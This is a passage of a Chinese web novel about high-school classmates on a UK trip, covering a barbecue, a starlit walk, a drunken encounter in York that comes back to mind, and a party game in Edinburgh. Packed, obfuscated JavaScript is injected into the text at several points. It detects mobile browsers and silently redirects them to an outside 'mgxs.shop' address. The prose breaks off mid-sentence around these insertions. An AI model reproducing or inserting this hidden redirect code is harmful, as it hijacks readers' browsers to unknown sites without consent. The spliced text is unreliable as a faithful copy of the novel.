带队老师简单说了下注意事项,象征性地走了个流程。 言外之意就是:食材给你们了,至于吃得怎么样,就靠在座的各位了。 和柳宜菲一起协助老师的另一个学生干部叫诸葛致长,是个男生。他提议男生负责生火,烤串,搬重物,女生负责串肉。 周悉许打量一眼地上放着的几个炉子,又环顾了四周一圈。 除了几个菜篮子和装肉的铁盘,没其他重物了。 这个工作任务还真挺大…… 二十几号人都得抢着干,不然真没活可干。 而女生这边,要负担所有人的饭量。在场男多女少,又都是在长身体的阶段,一个个胃像无底洞一样。想要填满这些嘴,靠这么几个女生是完全不够的。 她已经能想象到那个场景了:女生拼命地在串肉,男生烤完就直接自行解决了,女生不仅累死累活,还要挨饿。 这个猪哥智障真是打得一手好算盘,出了这么个损人利己的馊主意。 柳宜菲微皱眉,“这个想法很好,但是会造成不必要的浪费。女生不确定大家的食量,只能一直串,如果剩下了就可惜了。” 她看了眼堆在一边的食材,想了几秒,“所以我提议,女生和男生一起分掉生火的任务,我看了下,也没有重物需要搬,大家可以依照自己的食量,吃多少串多少,烤串的任务也一起分摊掉。” 经过一轮举手表决,最终,柳宜菲的提议得到了大部分人的认可。 吃饭的时候,柳宜菲和诸葛致长在带队老师那桌。徐途和周悉许一起,周悉丞和陆竞在隔壁,当然还有陆浅那个跟屁虫。 周悉许是食肉动物,她喜欢吃肉,不喜欢蔬菜,出自她手的全都是肉。 徐途轻声问,“你确定不要穿插着几块香菇或者葱段?” 周悉许一秒都没犹豫,“不用,我讨厌吃香菇和葱。” 徐途继续案例,“哦,那你有点挑食,其实烤香菇还挺好吃的,比肉还香。” 周悉许还是摇头。 “你这样会便秘,拉屎很臭的。”一个熟悉又讨厌的声音飘过来。 周悉许神色不悦地看过去。 篓恩正站在距离她最近的那个炉子前烤串,旁边是程又一。 周悉许一直忙着串肉,没注意到这俩货,估计是顾屹不在的缘故,顾畔也没和他们在一起。 见周悉许看过来,篓恩又开口,“真的,没逗你,放屁也会很臭,你考虑下大家,还是吃点蔬菜吧。” 虽然不明显,但周悉许还是看到程又一嘴角微微上挑了一下,又快速恢复原状。 “怎么没把你熏死?让你还有气儿在这嘴贱。”周悉许怼道。 “擦,我这不也是好意提醒嘛,真不识好歹,随你便吧。”篓恩起身朝她拜拜手,“小爷弄炭去了,不在这闻毒气弹了。” 周悉许没理他,拿着串完的肉走到烤炉前。 “这些也要烤?”程又一指了下她手里拿着的只有菠萝的串。 “嗯” “给我吧。”程又一朝她伸手。 “不用,我自己来。” “我来吧,很热。” 程又一走近两步,去接她握着的串。不经意间,大手包裹住了她的手,带着炽热的体温。她察觉到他微微用了些力,把她的手包裹得紧了。 但只是一瞬,就松开了。 再看他的脸,还是平时那副表情,没任何变化,让人不禁怀疑是错觉。 她下意识收回手,没再坚持,任由他拿走手里的串。手背微微发烫,还残留着触碰后的余温。 她站在原地,略微不自在,手指攥紧了些。 “刚烤好的,快吃吧。” 陆竞拿着烤好的肉串走过来。 周悉许清了清嗓子,“你吃了没?” “嗯,吃了。”陆竞看了眼烤炉前的人,不易察觉地微眯了下眼,又转过头说,“我帮你烤吧,那边烤的人比较多。”说完便走到程又一对面。 两人谁都没和对方打招呼,各自烤着自己手里的肉串,看着都和平常没两样,但气氛格外压抑。 过了大概五六分钟,篓恩捧着一箱木炭回来了。看到陆竞很自来熟地打了个招呼,“你追挺紧啊。” 陆竞笑了笑没说话。 篓恩随意瞟了眼桌子,打算吃两串充充饥,结果只看到空盘子和一堆竹签子。“活驴,你真的是个女的吗?吃得比我还多,鬼子进村啊,一个不留。” “又没吃你的,那么多屁话。”周悉许嚼着嘴里的肉,放下手里的空签子。 篓恩半开玩笑地和陆竞抱怨:“管管你未婚妻。” 陆竞原本还在看热闹,没想到篓恩会突然提到自己。“未婚妻”三个字让他内心小鹿乱撞,明明是打趣的话,他却很欣喜。 “我是被管的那个。”他笑道。 这是默认了篓恩的话,算是亲口承认“未婚妻”这个称呼。 在场的人虽然都对陆竞和周悉许的关系有所耳闻,但大部分都是小道新闻,被当事人这么当面证实还是第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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进来一条消息,是程又一发的: 「衣服现在能还我了吗?」 周悉许望了眼浴室紧关着的门,里面很安静,还没有水流声。 她估摸着陆浅应该还要在里面磨蹭老半天,先去还个衣服刚刚好,便回: 「能,我把衣服放你们房间门口。」 对方几乎秒回: 「在晚上BBQ的位置等我。」 周悉许回: 「干嘛走那么远?别折腾了。」 手机安静了好几分钟,程又一才发过来两条消息: 「和你说个事,你确定房间附近可以?」 「我去找你?」 周悉许想了想,还是算了。被一些大嘴巴看到,又一堆事,便妥协了。 「BBQ位置见吧。」 此时已经十点多了,外面天色已黑。 周悉许披上件薄上衣就出了房门。到了约定的地方,程又一已经等在那了。 她递上手里的衣服,“什么事?” 程又一抬手接过来,“散步,帮你消化一下。” “你是不是篓恩附体了?大晚上的没事干吗?吃饱了撑的跑这么远来散步?” 周悉许气不打一处来。 “是没事干,也确实有点撑,所以这不约你散步来了。” “你真是闲的。” 周悉许踢了一脚地上的石子,“累都累死了,还散个屁。” “那我背你?”程又一作势要弯腰。 他是在戏弄人。 周悉许心里很清楚。她不会傻到以为程又一真想背她。他要是真这么做,才不正常。 “一边去,要不是你骗我出来,我现在舒舒服服在床上躺着呢。” “你确定不会和陆浅打起来?” “所以你是怕我和陆浅打起来,才拉我来散步?”周悉许问。 “不是,我有私心。” 程又一故意停顿了几秒,见周悉许神色凝重,才又说,“篓恩晚上肉吃多了,放屁太臭。” 周悉许面容舒展了。 “这人,说了一晚上放屁的事,合着是他自己屁臭。” 程又一笑笑,没再继续说关于“屁”的话题。 他仰头望向天空,话锋一转,“你不觉得这儿的天,一伸手就能够着吗?” 上一秒还在聊屁,下一秒就这么清新脱俗,跨度大得让人猝不及防。 周悉许先是一愣,也跟着仰起头。 满天繁星忽明忽暗地闪烁,天空从未如此亲近。 她抬起一侧的手微微攥起,仿佛就能留住点点星光。 “嗯,没那么远了。”她扬起一个发自内心的笑,“这夜晚很美,我喜欢。” 程又一也附和道,“的确很美,我喜欢。” 此时的两个人,一个仰头看着夜空,一个侧头看着身边的人。 不远处的黑暗里,一个人影静静站着,身体在轻轻颤抖,手攥成了拳。 月光照不到那张脸,看不清是谁。 风从远处吹来,无声无息。 20. 诱尔 当晚,周悉许被程又一拖着闲逛了快一个小时。 和她预想的不太一样。原本她以为两人会无话可说,陷入尴尬境地,但没想到氛围很轻松,相处得也还算愉快。 聊的内容都逃不出老外的社交范围,不涉及任何隐私,基本都是个人爱好和饮食习惯。整个过程中程又一把握了一定的分寸感,没有嘲讽调侃,反而格外正经。 周悉许几乎没见过他这副样子。 原来他不是对所有事都漠不关心,也不是只有冷漠,他也会好奇别人的喜好。 回到房间,陆浅已经睡着了,睡相并不雅观。她自己定下的禁止咬牙放屁打呼噜,除了放屁她都做了个遍。也可能全都做了,只是周悉许没听到而已。 周悉许躺在床上准备睡觉,闭上眼睛就想起刚才散步的场景。 她仰着头,身边的人说的那句,“的确很美,我喜欢”,在当时的语境下似乎少了个“也”。 她烦躁地挠了挠头发,逼着自己赶快入睡,不要庸人自扰。 隔天一早,大部队继续北上。 大巴车驶过约克郡的旷野,窗外的绿色像被拉长的油画,平静得让人发困。 周悉许坐在车上接到朱缇的电话。还是一如既往的大嗓门,声音大到让旁边闭目养神的人略微皱了下眉。 “周悉许,你在哪野呢?还不来找我?” 周悉许尽量压低声音,担心影响到车上正在补觉的同学。 “往约克去呢,你特么小点声,我没带耳机,周悉丞在旁边呢。” 听到这句提醒,对面安静了几秒,再开口,音量提得更大了。 “关老娘什么事?你不是跟我说就把他当个屁吗?我得让那个屁知道他只是个屁。” 朱缇对周悉丞的复杂情感,周悉许是最清楚的。 即使朱缇已经尽力表现得厌恶和无所谓,但还是隐藏不了那些在意。 周悉许斜眼看了看旁边的人。 他微微掀起一侧的眼皮,只露了一条缝隙,但还是能感受到他视线冷飕飕的。 周悉许急忙打断朱缇的话,“回伦敦应该怎么也得一个星期吧,去完约克就去苏格兰那边了,你要不要来玩?” “算了,懒得折腾,姐要去找帅哥了,不和你们这群小屁孩玩。” 电话里传来咕咚咕咚的喝水声。 周悉许刚准备挂断,又听到朱缇说,“对了告诉你个好消息,我下个月就回申泸,直接去南洋上学。” “哪个班?”周悉许问。 “高三二班。” “卧槽,你特么不跟我一个班?怎么跑高三去了?” 在英国的时候,周悉许和朱缇是同班同学。 虽然两人差了两岁,但由于朱缇小时候跟不上同龄人的进度,一再留级,结果就和周悉许成了同学。 朱缇自嘲地说,“我这个年纪在申泸都上大学了好嘛,还真把我当成和你一样的小屁孩了?行了,不和你说了,挂了啊,拜拜。” 电话被挂断。 周悉许垂下手,看着手机出神。 虽然周悉丞和她同岁,但他跳了一级,就在高三,恰好是高三二班。 就算朱缇不知道他具体在哪个班,但跳级的事她肯定知道。 旁边的人罕见主动开口了,“她要来高三?” 周悉许“嗯”了一声。 对方没再说话。 周悉许又走神了。 单恋这事,说白了就是怕疼,所以拼命往后退,假装无所谓,可又忍不住想要靠近。 这种自我挣扎,她体会过,也能共情,她完全理解朱缇的口是心非。 新消息提示音响了两声。 周悉许回过神。 手指轻触屏幕,你知我知论坛推送了一条高热帖子: 【喜欢的人不喜欢自己怎么办?】 这真是困扰了大部分人的难题,虽然老套,却始终没百分之百有效的解法。 帖子下大几千条回复,10W+的点赞量。 大概是太无聊了,周悉许也随手留了一条评论: 【我的两个朋友也遇到了这个难题,一个人表面上选择逃避,另一个打算搁置,希望她们都会走出来。】 按完提交键,她刷了刷网友的留言。其中一条点赞量高居榜首的回复吸引了她的注意力。 【攻心计中,有成果来分享经验。】 为了知道后续的进展,周悉许给这条评论点了个赞,还关注了对方。 这个人的名字有点骚气,叫“诱尔”。 周悉许抱着好奇的心理,点进他的主页。 这人有不少动态,打眼一看都挺无聊的,要么是感情问题,要么是车辆制造。字里行间透着一股老成,应该年纪不小了。 周悉许翻了两下就失去兴趣了。 对方的个性签名是:在世界时间的起点等你。 周悉许这才注意到,这人的头像是格林威治天台的本初子午线。 看来是个情种,内心挺细腻。 周悉许脑子里迅速勾勒出个人物画像:中年恋爱脑,车场打工人,英区留子? 想了想,又觉得不太对。 这几个标签放同一个人身上,多少有点矛盾。 她揉揉太阳穴,懒得再想,靠着椅背闭上了眼。 大巴车抵达约克已经中午了。 刚下车,柳宜菲就“哇”地感叹出声,兴奋得语无伦次,“这是对角巷吗?这也哈利波特了吧!” 徐途眼里满是惊喜,用力地点头,“这里好多中世纪的建筑啊,悉许你之前来过吗?” 周悉许很熟悉约克。有一年假期,她和朱缇来这边生活过一段时间。这里很小,也很安静,在全英算是治安很好的地方。 “嗯,来过,是个不错的地方。”她说,“纽约的名字就是根据这儿来的,虽然这儿挺小的,不过文化氛围还挺浓厚,约克郡其实就是英格兰的历史。” 她刚说完,身后就传来程又一的声音。 “是挺小的,有一年在这遇到过一个酒鬼,竟然是申泸校友,就在城墙那边。” 程又一说得很有指向性。周悉许没当回事,反正不是她。她不信这种巧合,也没那个记忆。 但思绪还是飘回了那段在约克的日子。 那个假期只有她和朱缇两个人,算是两个人除了金钱之外真正意义上的独立。 约克没有伦敦那么丰富的娱乐生活,日子简单而平淡。天气好的时候两个人就到处闲逛,天气不好就宅在家里看电影。去得最多的地方就是超市,囤上一车食物,心情好就自己动手做,懒得动弹就点点外卖。 日子过得还算愉快。 程又一似乎是在回忆酒鬼那件事,他无意识地笑了笑,说了句让人摸不着头脑的话。 “那酒鬼还挺逗的。” 周悉许对酒鬼没兴趣,没接他的话。 “是个文艺青年。”他又说。 听到这话,周悉许心里彻底踏实了,因为文艺这词和她完全不搭边。 她不走心地回,“那还挺难得的,城墙那边晚上文青少,流氓到是挺多的。”她刻意强调了下后半句,“尤其是长得不错的男的,一个人在那挺危险的。” “女流氓?”程又一调侃道,“你在那作过案?” “我可没那个能耐,男流氓。具体是怎么个情况,你应该比我懂。”周悉许意味深长地说,算是对他调侃自己的反击。 “程又一,是从那时候开始的是吧?你性取向就变了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586033|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 篓恩那个嘴贱得恰到好处,适时助力了一把。周悉许第一次觉得他这人偶尔还是有点用的。 她幸灾乐祸地笑了,对徐途和柳宜菲说,“走吧,我们去逛逛,别在这浪费时间了。” 走了几步,身后传来篓恩赖赖唧唧的声音,“天天踢我,老子屁股要被你踢烂了。”紧接着又是一阵哀嚎,“我不嘴贱了行吧!对了,那个校友是谁啊?男的女的?我认识吗?” 但迟迟没听到程又一的回答,也可能是因为已经走远了。 实际上,程又一什么都没说。 他的思绪不禁飘到在城墙下遇到两个酒鬼的那天。 当时两人都醉的不省人事,在路上耍酒疯。其中一个酒鬼举着个酒瓶大喊,“风里雨里,Waitrose等你。”旁边那个醉得更甚的早就哭花了脸,边哭边喊,“想你念你,周悉丞我恨你。” 这俩人也算是天赋异禀了,耍个酒疯都这么押韵。 —— 南洋大部队是在傍晚时离开约克的。 沿途刚好经过了之前周悉许和朱缇常去的那家中餐厅,还路过了程又一偶遇酒鬼的那面城墙。 周悉许靠着座椅,迷迷糊糊地闭上了眼。 记忆突然像潮水一样涌来。 那天她突然想吃川菜,但两人不会做。几经周折,终于打听到了当地的一家中餐厅。不知道是思乡心切,还是因为周悉丞中途打来的视频通话,总之那天她们都喝了很多,怎么回的家都没印象了。 依稀记得,是一个好心人把她们送回去的。但怎么也想不起那个人的脸。只记得是个华裔,男的,貌似年纪不大。 她猛地睁开眼。 零星的记忆自动拼凑。 难道说……那人是程又一? 她努力回想当时的情形,又琢磨着刚才程又一提到酒鬼时的语气和神情,忽然意识到一个事实:程又一口中的酒鬼,八成是她和朱缇。 心跳陡然加快。 这也太戏剧化了。 这么离谱的巧合只会出现在电影桥段里。 异国他乡偶遇的两个人,多年之后在故土重逢,竟然成了同班同学。 还真是让人哭笑不得的“缘分”。 周悉许透过车窗看坐在前面的人。 她攥着手机犹豫了好一会儿,删删改改,最后缓慢地打出一行字: 「那年在约克,送我回家的人是你吗?」 程又一看着和周悉许聊天的界面,唇角上扬。 「是。」 周悉许的心跳快了一拍。 之前还抱着一丝怀疑,现在被证实了,心情挺复杂的。 她冷静了片刻,一字一顿地打出: 「所以,你早就认出我了,是吗?」 对方几乎秒回: 「嗯。」 周悉许回想着在南洋第一天遇到程又一的情形。他看向自己时那意味不明的眼神,和他那句“周悉许,正式认识一下,我是程又一。” 之前的种种行为都说得通了。 那些她无法理解的不明所以,其实是因为他们早就遇见过。 从程又一的视角来看,在南洋再次见到的是曾经偶遇过的人,这个人虽然陌生,但却印象深刻。 怔愣中,程又一的消息又过来了。 「是久别重逢。」 周悉许盯着屏幕,手指悬着,半天打不出一个字。 窗外,约克在暮色中渐渐退远。 城墙、中餐厅、那些她走过无数遍的街道,最终都成了后视镜里缩小的圆点。 多年前那晚,扶着她走过这段路的人,此刻就坐在同一辆大巴上。 原来,“正式认识”,不是第一次见面。 是重逢。 21. 态度耐人寻味 周悉许盯着这几个字看了许久。 如果不来约克,她或许永远都不会想起那段醉酒经历,程又一应该也永远都不会提那次偶遇。她想都不敢想会和一个人有这样的邂逅。虽然这邂逅并不算美好,甚至有些荒唐,还让人觉得挺不可思议,但总归也算是缘分。 周悉许想了一会儿,回复过去: 「那你当时就知道我是谁?」 程又一很快回: 「一直都知道。」 这回复很直接,字里行间充斥着莫名的刻意和弦外音,难免让人多想。 从两人的这些对话,再结合程又一之前的行为,周悉许脑子里冒出来一个结论:程又一对她,或许是有想法的。 只是不知道是什么程度。 但无论多还是少,都是她不希望的。对她而言,程又一只是再普通不过的同学,没半点非分之想。 周悉许斟酌了一会儿,回了两条消息: 「你的态度让人有些困扰。」 「我还是习惯界限清晰的同学关系。」 虽然没明说,但她的意思已经表达得很清楚了。 过了大概十来分钟程又一才回: 「有没有可能你又想多了?」 周悉许回: 「希望是。」 这次对方回的很快: 「一直揣测我,你的态度倒是挺耐人寻味。」 周悉许正看着这条消息发呆,又跳出来一条新的: 「你这样让我很为难。」 难道……真的是自己多想了? 周悉许噼噼啪啪地戳着手机。 「谁给你的自信?我是怕你觊觎我,才劝你早点死心。」 “你要把手机戳出窟窿?”周悉丞很欠扁地说。 紧接着,座位前面传来“嗤”的一声轻笑。 “睡你的觉,装B装的无聊了?还是装不下去了?”周悉许没好气地怼了一句。 周悉丞冷哼,“又犯病了。” 晚上九点,大巴驶入爱丁堡。 正值日落,天边泛着金色光晕。在晚霞的衬托下,这座古老而沧桑的城市愈发神秘,时光的沉淀让这里更有文化的厚重感。 车内喧哗声一片。 “同学们安静一下”带队老师提高音量试图盖过车里的嘈杂。 “今天可以自由活动,但是不要在外面玩太晚,建议在酒店附近活动,非必要不要外出。” 话音刚落响起了一阵抱怨声。 篓恩这个刺儿头立刻提出异议,“老师,苏格兰民风淳朴,挺安全的,为啥不能外出。” “没有不让大家外出,只是建议,就算出去也不要走太远。”老师耐心地解释。 “建议啊,那我考虑考虑。”篓恩说完,便转头就对程又一比了个喝水的姿势,“晚上出去玩。” “……”老师强颜欢笑。 程又一没理他,若有所思地看着手里的电话。 见程又一无动于衷,篓恩伸手推了推他,“跟你说话呢,晚上出去整点。” “不去。” “你是真扫兴,就知道指望不上你,算了,我还是问问顾屹吧。” 篓恩按了下手机,准备给顾屹打电话,被程又一叫住了。 “他回申泸了。” “嗯?他不是刚来没两天?好端端的回什么申泸?” “有点事让他办。”程又一的声音提高了不少。 周悉许听得一清二楚。对她来说,顾屹回申泸是件天大的好事,她彻底松了口气,终于不用担心被变态缠着了。 诸葛致长贴近带队老师耳边小声嘀咕了几句,看着神神秘秘,不知道又想出了什么馊主意。 老师点了下头,随后诸葛致长站起身。 “同学们,我提议利用自由活动的时间玩点游戏,大家感不感兴趣啊?”他装模作样地用手挡了下嘴,声音稍微小了些,摆出说悄悄话的模样,“老师不参加,想玩什么就看大家的智慧了。” 他暗示的隐晦,但正值青春期的少男少女该懂的都懂,大家很捧场的发出阵阵起哄声。 篓恩一脸猥琐相,恨不得站到座椅上,“这个好,可以随便提是不?” “篓同学请先克制一下。”诸葛致长笑道,“大家可以现在想一想,等到了地方再提,晚上的活动需要个别同学配合一下,贡献出自己的套房,给大家提供个玩乐的场地。” 篓恩主动化身组织委员,“套房名单给我,我去协调。” 诸葛致长递上名单和一只笔。 篓恩在上面打着对勾,“我和程又一的没问题,顾畔也没问题。”勾完转过头问周悉许,“活驴你们那边呢?贡献一下呗。” 周悉许刚张嘴,话还没说出口,就被程又一打断了。 “别麻烦了,再开几间,问问酒店有没有活动场地。”他手指夹着张卡,递到篓恩面前,“费用这里出。” “擦,你真是秀儿啊,我怎么就没想到,又让你抓到机会装了个大逼。” 篓恩撇撇嘴,接过程又一的卡,起身看向车内的同学,手握成拳假装是麦克风。 “今天全场的消费由程公子买单,尖叫声。” 他笑得像个纨绔,但又有点像个狗腿子,还极浮夸地把一只手放在耳边做聆听状,模样滑稽得很。 程又一知道他在调侃自己,冷声道,“别特么出洋相了。” “程公子这是生气了吗?”篓恩贱兮兮弯下身,伏在程又一身上,夹着嗓子,看着挺恶心。 周悉许忍不住啧出声,“别污染大家的眼睛了行吗?” “呦呦呦,怎么个情况啊这是,活驴,说程又一你激动个什么劲?大家伙儿想象力可都挺丰富的,你这样容易让人误会。” 其他人见带头起哄的是篓恩,也都壮了胆,跟着群嘲。 原本就不安静的车内,一下子更热闹了。 程又一罕见没制止,反而纵容篓恩肆无忌惮开自己玩笑。他透过车窗看向后座,勾起嘴角,一副事不关己的模样,心态出奇地好。 只有周悉许百口莫辩,后悔自己不该多嘴。 诸葛致长是个会控场的,最擅长充当和事老,他笑着岔开话题,“感谢同学们的支持,我们很快就要到酒店了,期待大家的idea哦。”说完装了个可爱,但他长得实在太抱歉,让人看着有点反胃。 “我们所有人玩一个游戏吗?人是不是有点多?”柳宜菲举手问。 诸葛致长点点头,“是挺多,那我们分成4组吧,抽签决定。” “好,那我先建一个群,发起一个线上抽签。”柳宜菲头脑很灵活,效率也高,没几分钟就在群里发出个链接。 周悉许点进去,抽中了4组。还没来得及问旁边的人,陆浅就开口了,“悉丞,你抽中的是哪组?” 周悉丞没说自己抽中了哪一组,只是冷淡道,“我等下有事。” 言下之意就是参加不了。 陆浅垂下头,失望了几秒,又很快抬头,眼里带着笑,“那我和你一起。” 周悉丞:“……” 车上听到的人:“……” 周悉许朝她伸了个大拇指。 陆浅没放在心上,又问陆竞,“小叔你等下参加吗?” 陆竞没直接回她,而是越过她问周悉许,“悉许你抽的几组?” “4组。” 听到这话陆竞瞬间泄了气,又问,“你等下参加吗?” 周悉许对这些游戏提不起兴趣,况且篓恩那个傻屌又在积极谋划,她用屁股想都知道玩不了正经游戏。再加上昨晚陆浅的呼噜声不断,吵得她没睡好,便摇摇头,“有点累了,想早点睡。” 陆竞神色放松了些,“那你好好休息。”又正过身回陆浅,“我等下也有事。” “切。”陆浅发出一声鄙夷。 大巴车很快抵达酒店,办好入住后,大家就各自回房间了。 诸葛致长在群里发了每个组对应的门牌号,嘱咐大家放好行李直接去,希望所有人都尽量参加。 周悉许没太当回事。进了套房,她打算先泡个澡放松一下。正放着水,门就被敲响了。 开门一看是柳宜菲和徐途。 “走啊,玩游戏去。”柳宜菲笑盈盈地凑上来。 “不去了,泡个澡就睡觉了。”周悉许说。 “哎呀,好不容易出来玩,哪有这么早睡觉的道理。”柳宜菲挎上她一侧的胳膊,朝徐途使了个眼色。 徐途很快反应过来,迅速挎上她另一侧胳膊,笑着说,“走吧,走吧。” 两个人这么盛情邀请,周悉许也不好再拒绝,她指了指浴室,“正放着洗澡水呢,我去关一下。” “我去。”柳宜菲主动抢活,生怕周悉许逃了。她冲进浴室关上水龙头,又火速冲出来。 周悉许只得跟着两人出了房间,“对了你们是哪个组?” “我俩和你一组,在车上听到你和陆竞聊天了。”徐途说。 “还挺巧。” “原本是四个组,周悉丞他们几个不是不参加嘛,好多女生就也不来了,所以现在就剩下三个组了,我是被合到4组的。”柳宜菲无奈道。 “所以,这不是怕不参加的学生大晚上出去晃荡嘛,老师给我和诸葛派任务了,让我们做做学生的思想工作,尽量都拉去参加。” 三个人边走边聊,很快就到了4组的活动套房。 原本还以为人多空间会小,没想到套房内没几个人,还清一色的都是男生。 篓恩看到周悉许她们,来了精神。 “可算来几个女的了,还好没用酒店的活动中心和会议厅,不然这么两个半人说话都得靠喊的。” 篓恩发着牢骚,“程又一那个逼王不来,搞得一堆没品味的女生都走了,就这么几个人弄的小爷都没兴致了,大班长你和诸葛商量商量吧,调几个女生过来。” 柳宜菲虽然不想搭理篓恩,但他话说得没错,屋里这几个人,确实玩不了游戏。 “行吧,我去和诸葛协调下。” 柳宜菲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586034|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去后,屋里的人就开始闲聊,闹哄哄的。周悉许不想参与,拿出手机摆弄起来。她这才看到程又一发给自己的消息,大概是半个小时之前,她当时在放洗澡水,没听到手机提示音。 对方只发了两个字:「睡了?」 周悉许不走心回:「没有,被柳宜菲拉下来玩游戏了。」 发完便退出聊天界面,点开你知我知论坛,进了之前的那个帖子。 诱尔没有更新后续,只发了条动态,很简短,但足以让人猜到进展。 【难。】 看来,他的攻心计进展得并不顺利。 这倒也正常,如果所有的勾诱都有效,怎么会有那么多情场失意的人。 “程又一,你怎么来了?刚才还死活不来,怎么突然决定做个人了。” 篓恩的声音拉回周悉许的注意力,她抬头一看,正巧撞上程又一的视线。 “来玩游戏。”程又一面色平静地说。 他目光没移开,明面上是在回篓恩,但这话又像是对周悉许说的。 “班长呢,还没回来啊?” 篓恩伸着脖子朝门外看,随手推了下自己旁边的男生,“赶紧去找班长,让她通知下缺席的女生,就说程又一来了,在4组。” 他葫芦里卖什么药,显而易见。 男生刚迈开一条腿,篓恩又拍了拍他,“算了,我和你一起,人数太多也不行,我得亲自把控质量。” 过了十来分钟,在篓恩的积极号召下,来了不少女生,还个顶个的漂亮,也不枉费他的一片良苦用心。 柳宜菲担起活动主持的角色。 “大家可以说说想玩什么游戏,畅所欲言。” 篓恩首当其冲:“我有一脑子想法,男女混合扭扭乐,或者男生比赛做负重俯卧撑,负重是女生。” 柳宜菲极力控制自己的表情,尽量展示出礼貌的一面。 “篓恩同学很有想法,但是能不能提一些没有肢体接触的游戏呢。” “那是什么游戏?游戏本来就是要互动,互动就避免不了接触。” 篓恩满嘴歪理邪说,气得柳宜菲直翻白眼。 “你觉得我说的有问题,那OK,我们民主点,争取大家的意见,投票表决,赞同的请举手。” 篓恩很有信心,率先举手。 在场的男生也都没让他失望,除了程又一没反应,其他人全都举起了手,甚至还有不少女生也同意。 他得意忘形道,“怎么样大班长,其他人都赞成呢,就听我的吧。” “扭扭乐没有道具,玩不了。”柳宜菲做最后的反抗。 “那就不玩扭扭乐,玩另一个。” “男生俯卧撑比赛,女生很没参与感。”柳宜菲又说。 “那就女生坐在男生身上的时候手里端满杯水,男生比体力,女生比平衡感,怎么样,这下有参与感了吧?” 篓恩伸手在下巴处比了个V字,表情得意得很。 柳宜菲无话可说。 “你确定你提这个游戏有趣?有趣的点在哪儿?” 周悉许开口质疑,很直接,就是想戳穿篓恩那一肚子的黄水。 “这位活驴同学,你能不能思想觉悟高点儿,活动不是为了有趣,强身健体才是我们这个游戏的意义。” 篓恩摆明了是在硬扯,在场的几个还跟着睁眼说瞎话,很狗腿的在一旁附和。 周悉许彻底领教了“男人本色”,她重重地拍手,“还真小瞧你了。” 柳宜菲无力地和她对视一眼。 篓恩心情大好,指挥着全场,“游戏玩法大家应该都清楚了,班长计时。”他扫了眼现场的人,“擦,男生又少了,这样吧6组。”他打量着眼前一排女生,伸出手指,“你,你,还有你们几个协助班长主持下游戏。” 被指到的女生都一脸不爽,但碍于面子也没再说什么。 “再换下来一个人,我也玩。” 顾畔走进来,伸出手指了下离自己最近的那个女生,“我换你。” 女生知道顾畔的脾气和行事风格,敢怒不敢言,慌张地说,“刚好我困了,先回去了。”说完便灰溜溜出了套房。 其他几个被替下来的女生,看到顾畔都不敢再停留,也都离开了。 篓恩扫了一圈,拍拍手,“场清完了,抽签选队友吧。”。 柳宜菲比了个OK的手势。 还是之前那个抽签方式,周悉许抽到的又是4。也算是和这个数字有缘,看来今天必然是有事发生。 “谁是4号。” 听到篓恩的声音,周悉许心里咯噔一下。 原来是这么个事…… 她极不情愿地举起手,“这儿。” “卧槽,活驴咋是你啊——” 篓恩拉长音,语气里带着比她更大的不情愿。 两人都呆在原地不动,没有要加入游戏的意思。 “我和你换。” 角落里,一个低沉声音响起。 在场的人都呆住了。 22. 强人所难? “程又一你啥意思?你不会是——” 篓恩盯着程又一,眼里全是探究和不可置信。 “就她比较熟而已,别那么多戏。”程又一满不在乎地说,看着很不屑。 “哦,我就说嘛。”篓恩反应过来,“你实话实说吧,是不是怕自己体力不行,不好意思直说,编了这么个理由。”他打量了周悉许两眼,“也是,活驴看着是挺瘦。” 程又一轻笑,“你瞎啊?就她体格最大,我是在帮你,怕你下不来台。” 周悉许看着眼前的两个人,怒气值不断攀升。 就算不在乎别人的评价,但当面对人品头论足,任谁也无法内心平静。更何况,现场人还不算少。 这俩人无论选谁都一样,没一个顺眼的,手心手背都是屎。 “擦,行吧,反正我也不想和活驴一组,你抽的几号?”篓恩妥协道。 “3号” 篓恩看了几眼在场的女生,开口问,“3号是谁?” 顾畔缓缓抬起手,脸上挂着失落和不情愿。 “擦,这特么衰的,两次都是认识人,烦死了,早知道就把你俩踢出游戏了。”篓恩不爽地挠挠头。 顾畔脸色铁青,但碍于程又一在,她不好撒泼。只能把所有的怨气都憋在肚子里,明面上一句话都没说,但心里早把篓恩骂了千遍万遍。 “大家准备一下吧,女生需要垫子吗?”柳宜菲很贴心地问。 “别出馊主意行吗?我的大班长,背个一百斤的重物已经很累了,别为难大家。” 篓恩语气里透露着严重的不满。一看就是小算盘落空,气急败坏了。 “人家才八十来斤,哪有你说的那么重。”顾畔小声嘟囔着。 “我是说她。”篓恩指了下周悉许。“班长,你和程又一有仇吗?就这体格!还再加个垫子,程又一腰得断。” 六个女生里的确是周悉许最重,但对于172的身高来说,90多斤其实也不算重。 “你要点脸,别自己不行,怪别人重。”周悉许瞪了篓恩一眼。 篓恩不乐意了。 “你说谁不行呢?试都没试就说人不行,小心我告你污蔑。” 旁边几个男生表情挺猥琐,但又怕惹到周悉许,只能尽量憋着笑。 